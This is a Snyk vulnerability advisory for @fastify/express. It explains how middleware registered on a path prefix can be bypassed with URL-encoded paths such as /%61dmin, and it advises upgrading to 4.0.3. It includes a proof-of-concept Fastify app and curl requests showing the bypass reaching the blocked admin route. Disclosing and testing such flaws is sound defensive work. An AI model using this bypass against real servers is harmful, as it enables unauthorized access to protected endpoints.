Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade @fastify/express to version 4.0.3 or higher.
@fastify/express is an Express compatibility layer for Fastify
Affected versions of this package are vulnerable to Improper Handling of URL Encoding (Hex Encoding) where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). An attacker can gain unauthorized access to protected endpoints by sending such requests.
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express'));
// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });
// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });
fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });
fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; });
// Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } }
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html>(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"}